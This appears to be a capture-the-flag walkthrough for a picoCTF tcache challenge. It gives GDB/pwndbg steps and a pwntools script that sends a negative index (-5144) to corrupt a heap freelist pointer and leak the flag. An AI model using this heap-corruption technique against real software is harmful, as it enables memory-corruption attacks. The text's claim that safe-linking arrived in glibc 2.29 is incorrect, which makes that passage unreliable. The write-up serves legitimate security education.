Description
While doing a heap exploit challenge you might encounter a heap dump. Figure out how to exploit this tcache binary. nc mercury.picoctf.net PORT
Setup
Download the binary and the heap dump file.
Analyze the binary with GDB/pwndbg to understand the heap layout.
wget <url>/heapeditwget <url>/heapedit.zipchmod +x heapeditSolution
Walk me through it- Step 1Understand the heap layout with GDBRun the binary in GDB with pwndbg or peda. The program allocates a buffer and stores the flag on the heap. By examining the heap, you find the flag is located at offset -5144 bytes relative to a specific heap pointer that the program asks you to index into.bash
gdb ./heapeditbash# In GDB:bashrunbashheap chunksLearn more
The tcache (thread-local caching) is a per-thread free list introduced in glibc 2.26 (2017). When you free a small chunk, it goes into the tcache bin for its size class. The next malloc() of the same size returns the tcache entry immediately - very fast, but with minimal security checks compared to main arena bins.
Heap layout for this challenge. When the program starts it does roughly:
flag_chunk = malloc(N); // flag is read into here, then freed free(flag_chunk); // flag chunk now sits in tcache fd user_buf = malloc(N); // returns flag_chunk (LIFO) // but flag bytes are still resident // until you overwrite the chunk header heap layout (low -> high): +------------------+ <- heap_base | tcache bookkeeping (per-size counts + fd ptrs) +------------------+ | flag_chunk | contains flag string +------------------+ | user_buf header | | user_buf data | <- program writes your byte[index] here +------------------+Tcache poisoning works by overwriting the
fd(forward pointer) field of a freed tcache chunk to point to an attacker-controlled address. The next two malloc() calls return the attacker's address as if it were a valid heap chunk. - Step 2Send the negative index to reach the flagWhen the program asks for an index, send -5144. This causes the program to write a null byte to the address (heap_base + (-5144)), which overwrites the tcache fd pointer. The next malloc() call returns the address where the flag is stored, and the program prints it.python
python3 << 'EOF' from pwn import * p = remote("mercury.picoctf.net", <PORT>) p.recvuntil(b"input:") p.sendline(b"-5144") p.recvuntil(b"input:") p.sendline(b" ") print(p.recvall().decode()) EOFLearn more
Why -5144? The program treats user input as a signed index into
user_bufwith no bounds check.user_buf[-5144]resolves to the byte at&user_buf - 5144. Because the heap grows up but tcache bookkeeping sits at the very base of the heap, that negative offset lands inside tcache's freelist table:heap_base + 0x??? tcache fd[bin_for_flag_size] <- TARGET ... heap_base + 0x??? flag_chunk header flag_chunk data (the flag) ... heap_base + 0x??? user_buf header &user_buf ----------- user_buf[0] <- index = 0 user_buf[-1] <- 1 byte before ... user_buf[-5144] <- lands on tcache fd's lowest byteWhat the null byte does. The freed flag chunk's
fdpointer normally points at the next free chunk in the same bin (or NULL). Writing0x00to the lowest byte of that pointer truncates it -- but in this challenge the goal is more clever: by stomping the right byte of the freelist head pointer you rewrite it to point at a chunk whose contents are the flag. The nextmalloc()request that hits the same size bin returns that chunk, and the program prints its contents back to you.Determining 5144 in practice. Run under pwndbg/gdb, breakpoint right before the indexed write, then:
pwndbg> heap # see all chunks pwndbg> tcachebins # see fd pointers pwndbg> p/x &user_buf - tcache_fd_target_addr # -> e.g. 0x1418 == 5144 pwndbg> p/d -5144 # confirm the indexVerifying -5144 against your running glibc. The number is glibc-version-specific: tcache bookkeeping layout shifts subtly across releases (and entirely once safe-linking lands in 2.29+). Don't copy the constant blindly, confirm it under pwndbg:
pwndbg> b *write_into_buf # break right before the indexed write pwndbg> r pwndbg> heap # see all chunks + addresses pwndbg> tcachebins # see the fd pointers per size class pwndbg> vis # visualize the heap byte-by-byte pwndbg> p/x &user_buf - &tcache_fd_target_byte # -> 0x1418 == 5144 (decimal) pwndbg> p/d -5144 # confirm the index value to sendModern glibc (2.29+) added tcache safe-linking: the stored fd is XOR-masked with the upper bits of its own address (
fd ^ (addr >> 12)). On those versions a single null byte cannot meaningfully corrupt fd because you would need to compute a value that, when XOR'd with the random mask, yields the desired pointer. Older glibc (as in this challenge) stores fd as plaintext, so direct overwrite works. For more on the tcache primitive shapes and how they compose, see the heap exploitation guide; to drive the interaction in script form, see the pwntools guide.
Flag
picoCTF{...}
Tcache poisoning overwrites the singly-linked free list's next pointer - the subsequent allocation then returns an attacker-chosen address.